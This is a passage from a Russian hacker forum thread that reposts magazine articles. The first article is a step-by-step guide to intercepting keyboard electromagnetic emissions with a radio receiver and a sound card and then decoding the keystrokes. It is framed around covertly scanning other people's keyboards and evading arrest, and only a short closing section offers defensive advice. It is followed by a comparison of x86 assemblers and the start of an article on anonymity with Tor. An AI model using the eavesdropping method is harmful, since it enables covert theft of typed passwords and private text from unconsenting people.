Что касается приемника, то он может быть любым (лучше - с ручной подстройкой частоты, так как поиск нужных помех - тонкая работа), главное - не использовать внутренний FM-тюнер, так как электромагнитные наводки внутри корпуса сведут на нет все попытки получить хоть какой-то результат. Шнур - стандартный, можно спаять самому из обрезков, оставшихся от старых сломанных наушников или микрофонов. На первых порах лучше подключить к выходу звуковой карты наушники и проводить все операции в них - так будут лучше слышны все нюансы шума. С помощью "sndvol32.exe" отрегулируй громкость записываемого сигнала по минимуму, предварительно выбрав в качестве источника записи линейный вход, иначе ты рискуешь оглохнуть, услышав дикий шум, выдаваемый радиоприемником. Подсоедини приемник к линейному входу и включи его питание. Вполне возможно, что вместо нужных нам шумов ты услышишь музыку, которую крутят на какой-нибудь FM-станции. В таком случае слегка покрути колесико регулировки частот, пока не услышишь "белый шум", как любят говорить физики. Далее твои действия должны выглядеть следующим образом: зажми любую кнопку клавиатуры и начинай очень осторожно подстраивать частоту, пока не услышишь характерный треск с частотой около 200 "трещаний" в минуту (или 3 в секунду). Если ты отпустишь кнопку клавиатуры, то треск должен прекратиться. Это верный знак того, что ты нашел нужную частоту. В некоторых случаях искомый сигнал может выглядеть как непрерывное, довольно низкое гудение, перемешанное с шумом, изменяющее свой тон при нажатии на кнопки клавиатуры. Если результат не приходит, то, вероятно, ты держишь приемник слишком близко к монитору. Особенно сильные помехи дает ЭЛТ-монитор. Если ты не можешь найти нужную частоту - отрегулируй длину внешней антенны радиоприемника.

Анализируем данные

Предположим, что ты нашел частоту, на которой помехи, создаваемые клавиатурой, слышны особенно хорошо. В таком случае ты сделал большую часть работы. Остается лишь записать помехи от различных нажатых клавиш, используя любой продвинутый wave-редактор, например Nero Wave Editor, и проанализировать их. Различия в волновой структуре звуковой формы помех, создаваемых клавиатурой, помогут нам разглядеть в неразберихе белого шума скан-коды нажатых клавиш smile.gif. Открывай звуковой редактор и начинай запись сигнала, подающегося с линейного входа, набирая на клавиатуре несложное слово, состоящее из 4-5 символов. Чтобы потом разглядеть на графическом изображении звуковой волны места, где обычный шум перемешан с помехами - "треском" клавиатуры, при записи сигнала лучше удерживать каждую клавишу подольше, хотя бы 0,5 секунд. Конечно, в реальной ситуации, когда ты будешь сканить чужую клавиатуру, никто не будет специально для тебя долго жать на кнопки, но наша задача сейчас - разобраться в методе, чтобы потом выполнять более сложные сканирования.

Записав свое сообщение, внимательно посмотри на графическое изображение звуковой волны. На ней есть области относительного спокойствия - в эти промежутки времени ни одна из клавиш клавиатуры не была нажата. Есть же области, которые состоят из сплошных "всплесков". На слух они воспринимаются как щелчки. Это промежутки времени, когда какая-либо клавиша была нажата. В это время электрическая цепь была замкнута, и электромагнитные помехи исправно генерировались с определенной частотой. Выдели небольшой кусок диаграммы, содержащий клавиатурные помехи, и отмасштабируй его до таких размеров, чтобы четко прослеживался каждый нюанс, каждое отдельное колебание звуковой волны (в моем случае масштаб был равен 700%). В "NeroWaveEditor" -e масштабирование производится кручением колесика мыши (масштабирование - очень полезный инструмент, с его помощью ты всегда отличишь обычные помехи от нужных нам фрагментов, содержащих ценную информацию). Теперь обрати внимание на то, что звуковая волна имеет некоторые фрагменты (я бы назвал их ключами), которые повторяются постоянно, причем с определенной периодичностью (см. скриншоты). Эти повторяющиеся фрагменты придают нашей, казалось бы, случайной звуковой волне, характер периодической функции. Я насчитал по 2 фрагмента-ключа для каждой клавиши. Самое интересное заключается в том, что для каждой кнопки клавиатуры существуют свои фрагменты-ключи. "Но ведь мы можем узнать такие последовательности только для своей клавиатуры!" - в негодовании воскликнешь ты. Не беда! При наличии достаточно большого количества записанных "клавиатурных помех" можно провести частотный анализ (о нем можно прочесть в любой книжке по криптографии). Он основан на том факте, что каждая буква алфавита, равно как и знак препинания, встречается в тексте с определенной вероятностью, например, в русском языке буква "о" встречается гораздо чаще буквы "щ". Для проведения частотного анализа нужно будет составить массив, содержащий все виды помех. Далее нужно написать программу - анализатор звукового файла, сравнивающую содержащиеся в нем помехи с помехами из массива. Программа должна записать условные имена в файл (например, "pomexa1, pomexa5,…"). Этот файл и будет материалом для частотного анализа.

Обрати внимание на мой скриншот, который рассматривает волновую структуру для буквы "a", и сравни его с соответствующей структурой для буквы "h". Букву "a" можно сразу же визуально отличить от других по характерному w-образному фрагменту-всплеску. Действуя таким образом, ты вскоре научишься безошибочно определять, какой символ скрывается за данной последовательностью всплесков.

Антишум

Здесь будут приведены краткие рекомендации для тех экспериментаторов, которые не желают оказаться глухими еще в юности smile.gif. Уверяю читателей, что все предустановки фильтров, встроенные даже в самые известные аудиоредакторы (типа Noice Reduction), не помогут нам отсеять помехи и оставить нужный сигнал. Он просто-напросто удаляется при фильтрации вместе с "мусором", потому что анализаторы фильтров воспринимают нужные нам сигналы-всплески как "щелчки", то есть как дефекты аудиозаписи. Чтобы составить правильный фильтр, придется поработать головой. Путем долгого анализа я выяснил, что на звуковых частотах выше 3700 Гц содержится в основном один только свистящий шум. Выяснить это мне помог пункт меню NeroWaveEditor-а "Enhancement->Filter Toolbox" (я выделил звуковой фрагмент, содержащий полезный сигнал, заюзал вышеупомянутый инструмент и, установив флажок "Band Pass Filter", выбрал следующие параметры: "lower"=3700 Hz, "upper"=22050 Hz. Полезный сигнал почти перестал слышаться, следовательно, вся звуковая информация, лежащая от значения "lower" до "upper" - мусор, а остальное - полезный сигнал). Итак, выделяй всю запись и применяй вышеуказанный фильтр с параметрами "lower"=0 и "upper"=3700. При выполнении этой операции, конечно, теряется некоторая часть информации из области верхних частот. Есть возможность избежать таких потерь, настроив эквалайзер ("Tools->Equalizer"), но на это понадобится чуть больше времени. Экспериментируй с фильтрами - и ты добьешься нужного результата.

Причины использовать этот метод

Преимущество метода заключается прежде всего в его относительной несложности и доступности любому желающему. Для мобильного перехвата, то есть слежения за какой-либо интересующей тебя целью на чужой территории, может использоваться ноутбук с небольшим "довеском" - внешним радиоприемником. Для того чтобы обеспечить хороший результат, последний лучше заэкранировать или отнести его подальше от ноутбука, иначе ты можешь принять излучение от своего ноута за сигналы от клавиатуры-цели. Другое, более безопасное решение - запись радиосигнала нужной частоты на диктофон и последующее его изъятие.

Иные встречавшиеся мне методы изъятия ценной информации из электромагнитных помех, генерируемых клавиатурой, требуют, как минимум, анализатора спектра, осциллографа, частотомера, мультиметра и тому подобных приборов, что вряд ли подойдет даже для очень состоятельного гражданина. Плюс ко всему, пошарив в интернете, ты всегда легко найдешь схемы радиопередатчиков, которые, если ты умеешь пользоваться паяльником, помогут тебе в дистанционной передаче данных, что сделает твою жизнь намного безопаснее и почти гарантированно избавит тебя от тюремной похлебки. В этом случае для обеспечения своей безопасности необходимо установить мощную антенну и расположить приемник сигнала как можно дальше. Советую заглянуть на сайт www.radist.izmuroma.ru.

Еще один, довольно неплохой и, на мой взгляд, более удобный способ сканирования (хотя бы в силу возможностей тонкой настройки и большей дальнобойности) - применение коротковолновых трансиверов. Увы, но они стоят сравнительно дорого (простенькие образцы - от 200-300 долларов). Но если ты - заинтересованный человек, то трансивер для тебя окажется настоящим кладом. С его помощью можно не только перехватывать ЭМ-излучения, но и слушать секретные передачи - "морзянку", и делать множество иных полезных и интересных вещей. Но это уже совсем другая история. Интересный факт: белорусский радиотелефон "Алтай" (не знаю, выпускается ли он сейчас), являясь, по сути, простым трансивером, обладает неплохими возможностями для радиоперехвата.

Внимание! Если ты собираешься перехватывать информацию тем методом, что описан в данной статье, в больших объемах, тебе просто необходима хорошая звуковая карта, уровень собственных шумов которой незначителен. Иначе головной боли от переутомления не избежать. Поэтому обязательно проверь, подойдет ли твоя звуковая карта для подобной деятельности в "промышленных" масштабах, с помощью утилиты RightMark Audio Analyzer (http://audio.rightmark.org/rus).

И напоследок...

Если ты выполняешь на своем компьютере важную работу, требующую секретности, или обслуживаешь какой-либо сервер, тебе просто необходимо иметь надежные средства для защиты от утечки информации через электромагнитное излучение. А средства эти весьма разнообразны: фильтрация, заземление приборов, экранирование, электромагнитное зашумление и так далее. Эти средства будут оправданы, ведь существуют способы снятия сигнала даже с монитора компьютера-жертвы, то есть возможность получения достоверной картины работы пользователя за компьютером. Лучший способ узнать все о грозящей опасности - это понять принцип реализации атаки и опробовать ее на практике. Удачи!

Ван Эйк и его прибор

В 1985 году группа шведских ученых во главе с Вильямом Ван Эйком представила на суд общественности статью, в которой были изложены основные принципы перехвата информационного потока, передающегося с электромагнитным излучением, его декодирование и приведение в вид, понятный пользователю (эта идея была выдвинута ученым Доном Бриттоном в 1979 году, но тогда никто не обратил на нее внимания). Идея Ван Эйка заключалась в дополнении обычного телевизора таким образом, чтобы он выдавал изображение, с которого ведется перехват. Прибор искусственно создавал синхронизирующий сигнал при помощи двух осцилляторов (для вертикальной и горизонтальной синхронизации). Радиус его действия - около 1 километра (при условии использования специальной антенны для лучшей фокусировки). Самое интересное заключается в том, что этот прибор мог собрать любой радиолюбитель средней квалификации. Сумма, которую было необходимо потратить на закупку деталей, тоже являлась чисто символической - около $15.

CD/DVD

На нашем диске ты найдешь программу "RightMark Audio Analyzer", упоминавшуюся в статье

WARNING

Вся информация, содержащаяся в статье, - только для ознакомительных целей. За незаконное применение данного материала ответственность несешь только ты.

Облегчение поиска нужных фрагментов-ключей

Если ты затрудняешься с поиском нужных фрагментов или даже не можешь отделить шум от полезного сигнала, попробуй увеличить уровень звука на 4-6 дБ (в "NeroWaveEditor" -e выбери "Volume->Volume сhange").





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 30 2006, 13:21
Сообщение #44


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Битва трансляторовASM-трансляторы: что такое хорошо и что такое плохо

Проблема выбора «единственного правильного» ассемблерного транслятора мучает не только начинающих, но и профессиональных программистов. У каждого продукта есть своя когорта поклонников, и спор о преимуществах/недостатках рискует превратиться в священные войны с выносом тел погибших. На форумах такие дискуссии лучше не разводить и вещать в одностороннем порядке, как я, собственно, и поступил, сравнив MASM, TASM, FASM, NASM, YASM и некоторые другие ассемблеры по всему спектру критериев, значимость которых каждый должен оценивать сам.

Основополагающие критерии

Существует ряд критериев, существенных для всех категорий программистов. Начнем с генерации отладочной информации, без которой отладка программы сложнее, чем «hello, word», превращается в настоящую пытку. Но если формат отладочной информации — это задний двор транслятора, то формат выходных файлов — это его лицо. Непосвященные только пожмут плечами. Какой там формат? Обыкновенный obj, из которого с помощью линкера можно изготовить все, что угодно: от exe до dll. На самом деле, «обыкновенных» объектных файлов в природе не бывает. Есть omf (в редакциях от Microsoft и IBM), coff, elf, aout и куча разной экзотики в стиле as86, rdf, ieee и т.д. Также заслуживает внимания возможность «сквозной» генерации двоичных файлов, не требующая помощи со стороны линкера. А некоторые ассемблеры (например, FASM) даже позволяют «вручную» генерировать исполняемые файлы и динамические библиотеки различных форматов, полностью контролируя процесс их создания и заполняя ключевые поля по своему усмотрению. Впрочем, программы, целиком написанные на ассемблере, — это либо вирусы, либо демки, либо учебные, либо обычный садомазохизм. На ассемблере чаще пишутся лишь системно-зависимые компоненты или модули, критичные к быстродействию, которые затем линкуются к основному проекту, и если ассемблер генерирует только omf, а компилятор — coff, то возникает проблема сборки «разнокалиберных» форматов воедино. Мне известен только один линкер, умеющий это делать, — ulink от Юрия Харона, он же обеспечивают нехилые возможности по сборке файлов «вручную», так что выбор конкретного ассемблерного транслятора целиком лежит на совести (и компетенции) программиста. Но все-таки лучше, чтобы и ассемблер, и компилятор генерировали одинаковые форматы объектных файлов.

Другой немаловажный критерий — количество поддерживаемых процессорных архитектур, которых в линейке x86 набралось уже больше десятка. Кстати, ни один из трансляторов не поддерживает набор команд x86-процессоров в полном объеме. Например, на MASM'е невозможно написать jmp 0007h:00000000h, и поэтому приходится прибегать к различным ухищрениям: либо реализовать команду через DB, что очень неудобно, либо заталкивать в стек сегмент/смещение, а потом делать retf, но это длинно, и к тому же воздействует на стек, которого у нас может и не быть.

MASM

Продукт жизнедеятельности ранней компании Microsoft, которой тот был нужен для создания MS-DOS, а позднее и для Windows 9x/NT. После выхода версии 6.13 продукт на некоторое время тормознул в развитии, но потом здравый смысл взял верх, и последняя версия (на момент написания этих строк — 6.13.8204) поддерживает уникод, все SSE/SSEII/SEEIII-расширения, объявляемые двумя директивами .686/.XMM, а также архитектуру AMD x86-64. Платформа Intel IA64 не поддерживается, но Microsoft поставляет Intel-ассемблер IAS.EXE.

Аббревиатура MASM расшифровывается отнюдь не как Microsoft Assembler, а как Macro Assembler, то есть Ассемблер с поддержкой макросов, покрывающих своими возможностями широкий круг задач: повторение однотипных операций с параметризацией (шаблоны), циклические макросы, условное ассемблирование и т.д., по сравнению с которым препроцессор языка Си выглядит жалкой подделкой. Имеется даже зачаточная поддержка основных парадигм ООП, впрочем, так и не получившая большого распространения, поскольку ассемблер и ООП концептуально несовместимы. Многие пишут даже без макросов на чистом ассемблере, считая свой путь идеологически наиболее правильным. Но о вкусах не спорят.

Сначала MASM распространялся в виде самостоятельного (и притом весьма дорогостоящего) пакета, но позже он был включен в состав DDK, которое вплоть до Windows 2000 DDK раздавалось бесплатно, а сейчас доступно только подписчикам MSDN. Впрочем, вполне полноценное DDK (с ассемблером) для Windows Server 2003 входит в Kernel-Mode Driver Framework, а сам транслятор MASM'а еще и в Visual Studio Express, которая бесплатна. Стив Хатчессон собрал последние версии транслятора MASM'а, линкер от Microsoft, включаемые файлы, библиотеки, обширную документацию, статьи разных авторов, посвященные ассемблерам, и даже простенькую IDE в один дистрибутив, известный как «пакет Хатча» (Hutch), бесплатно раздаваемый всем желающим на вполне лицензионной основе. Так что это не хак, а вполне удобный комплект инструментов для программирования под Windows на ассемблере.

MASM'у посвящено множество книг, что упрощает процесс обучения, а в сети можно найти кучу исходных текстов ассемблерных программ и библиотек, освобождающих программиста от необходимости изобретать велосипед. Также MASM является выходным языком для многих дизассемблеров (Sourcer, IDA Pro). Все это делает MASM транслятором номером один в программировании под Wintel.

Поддерживаются два выходных формата: 16/32 Microsoft OMF и (16)/32/64 COFF, что позволяет транслировать 16/32-разрядные программы под MS-DOS, работающие в реальном и защищенном режиме, 16-разрядные приложения и драйвера для Windows 3.x, 32-разряные приложения и драйвера для Windows 9x/NT, а также 64-разрядные приложения и драйвера для Windows NT 64-bit Edition. Для создания бинарных файлов потребуется линкер, который умеет это делать (например, ulink от Юрия Харона). Кстати говоря, последние версии штатного Microsoft Linker'а, входящее в SDK и DDK, утратили способность собирать 16-разрядные файлы под MS-DOS/Windows 3.x, поэтому приходится возвращаться к старой версии, которая лежит в папке NTDDK\win_me\bin16.

MASM генерирует отладочную информацию в формате CodeView, которую Microsoft Linker может преобразовывать в PDB-формат, хоть и не документированный, но поддерживаемый библиотекой dbghelp.dll, позволяющей сторонним разработчикам «переваривать» отладочную информацию, поэтому файлы, оттранслированные MASM'ом, можно отлаживать в Soft-Ice, дизассемблировать в IDA Pro и прочих продуктах подобного типа.

Главный недостаток MASM'а — его жуткая «багистность». Стоит только открыть Knowledge Base, посмотреть на список официально подтвержденных багов и… ужаснуться! Как только после этого на MASM'е вообще можно программировать?! Особенно много ошибок встречается в штатной библиотеке. Вот только несколько примеров: dwtoa и atodw_ex не понимают знака и по скорости очень тормозят, хотя в документации написано: «A high speed ascii decimal string to DWORD conversion for applications that require high speed streaming of conversion data»; ucFind не находит в строке подстроку, если длина подстроки равна одному символу; функции BMHBinsearch и SBMBinSearch реализованы с ошибками; некоторые функции обрушивают программу (если передать ustr2dw строку длиннее пяти байт — программа падает).

Другой минус — отсутствие поддержки некоторых инструкций и режимов адресации процессора, например, невозможно сделать jmp far seg:offset, а попытка создания смешанного 16/32-разрядного кода — это настоящий кошмар, который приходится разгребать руками и всячески извращаться, преодолевая сопротивление «менталитета» транслятора.

Наконец, MASM – типичный коммерческий продукт с закрытыми исходными текстами, судьба которых покрыта мраком. Microsoft интенсивно продвигает высокоуровневое программирование, отказываясь от ассемблера везде, где это только возможно, поэтому не исключено, что через несколько лет MASM прекратит свое существование...

Тем не менее, несмотря на все эти недостатки, MASM остается самым популярным профессиональным транслятором ассемблера при программировании под Windows NT, хотя разработчикам приходится плеваться и материться, но реальных альтернатив ему нет.

TASM

Самый популярный транслятор ассемблера времен MS-DOS, созданный фирмой Borland, полностью совместимый с MASM'ом, вплоть до версий 6.x, и поддерживающий свой собственный режим IDEAL с большим количеством улучшений и расширений.

Удобство программирования, скромные системные требования и высокая скорость трансляции обеспечивали TASM'у лидерство на протяжении всего существования MS-DOS (буква «T» означает Turbo). Но с появлением Windows популярность TASM'а стала таять буквально на глазах. Не сумев или не захотев добиться совместимости с заголовочными файлами и библиотеками, входящими в комплект SDK/DDK, фирма Borland решила поставлять свой собственный порт, причем далеко не идеальный. К тому же штатный линкер tlink/tlink32 не поддерживает возможности создания драйверов, а формат выходных файлов (Microsoft OMF, IBM OMF, Phar Lap) не поддерживается линкером от Microsoft. В довершении ко всему формат отладочной информации не совместим с CodeView и реально поддерживается только TurboDebugger'ом и soft-ice
И хотя эти проблемы в принципе разрешимы, возможность низкоуровневого ассемблерного программирования (без включаемых файлов и макросов) осталась там же, где и была. Несовместимость форматов компенсируется наличием конверторов, но преимущества режима IDEAL над стандартным синтаксисом MASM'а день ото дня казались все менее и менее значительными, ряды поклонников редели, и в конце концов проект загнулся. Последней версией транслятора стал TASM 5.0, поддерживающий команды вплоть до 80486 процессора. Отдельно был выпущен патч, обновляющий TASM до версии 5.3 и поднимающий его вплоть до Pentium MMX, однако команды Pentium II такие, например, как SYSENTER до сих не работают. Поддержка уникода тоже отсутствует.

В настоящее время Borland прекратила распространение своего ассемблера, и достать его можно только в магазинах, торгующих старыми CD-ROM, или у какого-нибудь коллекционера. Пацан по кличке !tE выпустил пакет TASM 5+, включающий в себя транслятор, линкер, библиотекарь, какое-то подобие документации, несколько заголовочных файлов под Windows и пару демонстрационных примеров. Когда будешь искать это добро, не перепутай его с TASM32 фирмы Squak Valley Software — это совершенно независимый кроссассемблер, ориентированный на процессоры 6502,6800/6801/68HC11, 6805, TMS32010, TMS320C25, TMS7000, 8048, 8051,8080/8085, Z80, 8096/80C196KC.

Короче, TASM — это труп. Причем вполне конкретный. Но для разработки прикладных приложений под Windows 16/32 и MS-DOS он все-таки подходит, особенно, если есть опыт работы с ним и некоторые собственные наработки (библиотеки, макросы), с которыми жалко расставаться, а конвертировать под MASM – весьма проблематично. Возможно, тебе понравится бесплатный Lazy Assembler (автор — Половников Степан), совместимый с режимом IDEAL TASM и поддерживающий команды из наборов MMX, SSE, SSEII, SSEIII, 3DNow!Pro.

FASM

Писать о культовых проектах, не затронув чувства верующих и сохранив при этом здоровую долю скептицизма и объективизма не так-то просто, особенно если ты сам являешься апологетом веры. FASM (расшифровывается как Flat Assembler – Ассемблер плоского режима) — это крайне необычный транслятор с экзотичными возможностями, которых все мы давно (и безуспешно!) ждали от крупных производителей, но те были слишком далеки от практического программирования и пытались сформировать новые потребности (например, путем введения поддержки ООП) вместо того, чтобы удовлетворять те, что есть.

Так продолжалось до тех пор, пока Томаш Гриштар (Tomasz Grysztar) — аспирант Ягеллонского университета в Кракове — не задумал написать свою собственную ось, названную Титаном и представляющую некоторое подобие DOS-системы для защищенного режима. Перебрав несколько ассемблерных трансляторов, но так и не обнаружив среди них подходящего, Томаш пошел на довольно амбициозный шаг, решив разработать необходимый инструментарий самостоятельно. Это произошло в 1999-03-23, 14:24:33 (дата создания первого файла), и уже к началу мая 1999 года появилась версия, способная транслировать сама себя (FASM написан на FASM'е). Операционная система в результате одной случайной катастрофы пала смертью храбрых, а вот исходные тексты FASM'а остались, и с тех пор он продолжает активно развиваться.

Что же такое FASM? Это ассемблер с предельно упрощенным синтаксисом (никаких offset'ов и прочих захламляющих листинг директив), полной поддержкой всех роцессорных команд (в том числе и jmp 0007:00000000), качественным кодогенератором, мощным макропроцессором и гибкой системой управления форматов выходных файлов.

FASM распространяется в исходных текстах на бесплатной основе, и к настоящему моменту перенесен на MS-DOS, Windows 9x/NT, LINUX, BSD, поддерживает уникод и все x86 процессоры вплоть до Pentium-4 с наборами мультимедийных инструкций MMX, SSE, SSEII, SSEIII, AMD 3DNow!, а также платформу AMD x86-64, позволяя генерировать не только Microsoft coff, но и готовые bin-, mz-, pe- и elf-файлы. То есть FASM позволяет обходиться без линкера, но при этом раскладку секций в PE-файле и таблицу импорта приходится создавать «вручную» с помощью специальных директив ассемблера. Но на практике все же удобнее сгенерировать coff и скомпоновать его с модулями, написанными на языках высокого уровня.

Макроязык FASM'а настолько мощный, что позволяет писать программы на себе самом без единой ассемблерной строки, например:

file 'interp.asm'

repeat $

load A byte from %-1

if A>='a' & A<='z'

A = A-'a'+'A'

end if

store byte A at %-1

end repeat

И пускай кто-то ворчит, ну вот, мол, еще одна попытка опустить ассемблер до уровня Бейсика. Ничего подобного! Макросы – вещь добровольная. Хочешь — пользуйся, не хочешь — не надо.

Все это были достоинства. Теперь поговорим о недостатках. Ни на что не похожий синтаксис FASM'а напрягает даже матерых программистов, заставляя их вгрызаться в плохо структурированную документацию и небольшое количество демонстрационных примеров, поставляемых вместе с транслятором. На это требуется время, которое в конечном счете ничем не компенсируется, поскольку круг задач, на которых FASM реально рвет MASM, крайне мал. Категорическая несовместимость с MASM'ом чрезвычайно затрудняет разработку Windows-драйверов (в большинстве своем создаваемых на основе примеров из DDK). Прикладным задачам, в свою очередь, требуется SDK и желательно первой свежести, да и программы, целиком написанные на ассемблере, — это совсем не то, чего требует бизнес-машина. «Математические» задачи, перемножающие матрицы, вычисляющие координаты пересечения кривых в N-мерном пространстве или трансформирующие графику — легко пишутся на FASM'е, поскольку не привязаны к конкретной операционной системе. Никаких API-функций они не вызывают и, вообще, не лезут туда, где можно обойтись Си/Си++.

Если бы FASM поддерживал генерацию отладочной информации, то его (с некоторой натяжкой) еще было бы можно рассматривать как серьезный инструмент, а так он остается игрушкой, пригодной для мелких задач типа «hello, world», вирусов, демок и прочих произведений хакерского творчества.

Наконец, ни у кого нет гарантий, что создатель FASM'а не утратит к нему интереса, а ведь без поддержки новых процессорных инструкций всякий транслятор обречен на медленное, но неизбежное вымирание. Открытость исходных текстов тут не поможет, ведь помимо них нужна еще и команда. Дожны быть «носители знания», способные удержать детали проекта у себя в голове, а тот факт, что FASM написан на себе самом, увы, читаемости листингам отнюдь не добавляет.

NASM

Транслятор NASM (расшифровывается как Netwide Assembler – расширенный ассемблер) возник тогда, когда не было ни одного хорошего свободного ассемблера под x86. FASM'а тогда еще не существовало. MASM/TASM стоили денег и работали только под MS-DOS/Windows. Единственный более-менее работающий транслятор под UNIX – GAS (GNU Assembler) — завязан на компилятор GCC и имеет такой ужасный синтаксис, что писать на нем могут только мазохисты. Остальные ассемблеры (типа A86, AS86) не позволяют писать 16/32-разрядный код или раздаются практически без документации.

Кончилось это дело тем, что группа программистов во главе с Петром Анвином (Peter Anvin) решила разработать собственный ассемблер. MASM-подобный синтаксис, мощная макросистема (впрочем, несовместимая с MASM'ом), поддержка всей линейки x86 процессоров, вплоть до IA64 в x86-режиме, богатство выходных файлов (bin, aout, aoutb, coff, elf, as86, obj, win32, rdf, ieee), генерация отладочной информации в форматах Borland, STABS и DWARF2 вкупе с портами под MS-DOS, Windows, Linux и BSD обеспечили NASM'у неслабую популярность, но без ярко выраженного фанатизма, характерного для FASM'а. Количество ошибок в трансляторе довольно много, причем, в отличие от работающих продуктов (MASM/TASM), при «хитрых ошибках» NASM не падает, а генерирует ошибочный (по структуре) объектный файл. Плюс, конечно же, как это принято в Open Source-community, полное игнорирование баг-репортов, «неудобных» для авторов (разработчики даже утверждают, что ошибок в их трансляторе вообще нет, в смысле им не известен ни один). Тем не менее, в последней версии NASM'а, в зависимости от значения ключа -On, код может сгенерироваться в 2-х или более экземплярах или может пропасть весь экспорт (pubdef'ы).

К минусам NASM'а можно отнести и отсутствие поддержки уникода, платформы AMD x86-64, формата отладочной информации CodeView и некоторые странности синтаксиса. В частности, команда «mov eax, 1» не оптимизируется, и транслятор умышленно оставляет место для 32-разрядного операнда. Если же мы хотим получить «короткий» вариант, то размер операнда необходимо специфицировать явно: «mov eax, byte 1», что очень сильно напрягает, или использовать опцию «-On» для автоматической оптимизации.

Также необходимо принудительно указывать длину переходов short или near, иначе очень легко нарваться на ругательство «short jump out of range». Впрочем существует возможность настроить транслятор на генерацию near-переходов по умолчанию.

Гораздо хуже, что NASM не помнит типы объявляемых переменных и не имеет нормальной поддержки структур.

Из мелких недочетов можно назвать невозможность автоматической генерации короткого варианта инструкции «push imm8» и отсутствие контроля над соответствием транслируемых инструкций типу указанного процессора (команда «cpuid» под «.486» ассемблируется вполне нормально, а ведь не должна).

Непосредственная трансляция примеров из SDK/DDK под NASM'ом невозможна, так что разрабатывать на нем драйвера под Windows может только очень крутой поклонник или извращенец. NASM — один из лучших ассемблеров под Liux/BSD, а вот под Windows его позиции уже не так сильны (в основном из-за неполной совместимости с MASM'ом).

YASM

Когда развитие NASM'а приостановилось, его исходные тексты легли в основу нового транслятора — YASM, что в зависимости от настроения может расшифровываться и как Yes, it's an assembler, и как Your favorite assembler, и как Yet another assembler, и даже как Why an assembler (последнее – шутка).

Вот основные отличительные черты YASM'а от его предшественника: поддержка платформы AMD x86-64, оптимизированный парсер, переваривающий синтаксис как NASM, так и GAS, более полная поддержка COFF (DJGPP) и Win32 obj выходных файлов, генерация отладочной информации в формате CodeView, интернационализация (выполненная через GNU-библиотеку gettext) и прочие мелкие улучшения, которых вполне достаточно, чтобы потеснить NASM в мире UNIX-подобных систем, где GAS-синтаксис по-прежнему играет ведущую роль.

Под Windows же YASM не имеет никаких ощутимых преимуществ перед MASM'ом, за исключением того, что поддерживает возможность генерации двоичных файлов, особенно удобных для создания shell-кода, но бесполезных для разработчика драйверов.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 30 2006, 13:51
Сообщение #45


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Сетевой камуфляжНестандартные методы сохранения анонимности

Наученные горьким опытом, все хакеры сейчас используют VPN. Не сервис, а настоящая находка: и трафик непрерывно шифрует, и анонимность гарантирует. По крайней мере, по словам тех, кто этот сервис предоставляет. На практике все может оказаться иначе: вдруг, откуда не возьмись, на сервере появятся внушительного размера логи, а потом и вовсе выяснится, что сервис контролируется компетентными органами. И рад бы я, если все это было плодом моего больного воображения. Так ведь нет — реальный пример из жизни! После таких инцидентов начинаешь задумываться об альтернативе этому самому VPN-сервису.

Приватный симбиоз

Когда речь заходит об альтернативе VPN, то первое, что приходит на ум — это, пожалуй, SSH-туннелирование. Прием очень хорош, прост в эксплуатации, но требует некоторых усилий и минимальных вложений. На страницах «Хакера» мы многократно рассказывали о его реализации, поэтому повторяться не будем. А коснемся сегодня двух совершенно других подходов, совершенно не похожих на то, что мы использовали ранее.

Первый из них основывается на использовании сразу двух утилит: Tor и Privoxy. Первую мы будем использовать в качестве средства для шифрования трафика и сохранения анонимности, а вторую — как мощный инструмент для фильтрации данных, передаваемых по HTTP(S)-протоколу, который будет скрупулезно удалять всю компрометирующую информацию, передаваемую твоими клиентскими приложениями.

Сказать, что Tor — это необычное приложение, значит, ничего не сказать. Поверь, это настоящий уникум.

Принцип обеспечения анонимности строится на базе распределенной системы серверов, так называемых нод, между которыми в зашифрованном виде передаются данные. Для соединения обычно используется три сервера, которые образуют временную цепочку. Каждый сервер выбирается случайным образом, при этом он знает только то, от какого звена получил данные и кому они предназначаются. Даже в случае перехвата данных на одном из серверов отследить полный маршрут пакетов (в том числе и их отправителя) не представляется возможным. Но это еще не все. Перед отправлением пакет последовательно шифруется тремя ключами: сначала для третьей ноды, потом для второй и, в конце концов, для первой. Когда первая нода получает пакет, она расшифровывает «верхний» слой шифра и узнает, куда отправить пакет дальше. Второй и третий сервер поступают аналогичным образом.

Как только цепочка выбрана, можно начинать передавать данные. Чтобы система не шла в ущерб скорости, одна цепочка используется в течение 10 минут, и только после этого периода происходит перестроение. Теперь о том, что через этот туннель можно запустить. Tor работает только с TCP-потоками и может быть использован любым приложением, работающим через SOCKS. На случай, когда в программе нельзя явно указать прокси, пригодятся соксофикаторы, такие как SocksCap (www.socks.permeo.com), FreeCap (www.freecap.ru) или Permeo Premium Agent (www.permeo.com/products/premium_agent.html), работающий на уровне драйвера.

Столь хитроумный способ передачи данных придумали программисты по федеральному заказу военно-морских сил США. Долгое время система была закрыта для свободного использования и предназначалась для ограниченного числа правительственных организаций и служб. Но теперь прелестями Tor’а можешь воспользоваться и ты — не упускай такую возможность.

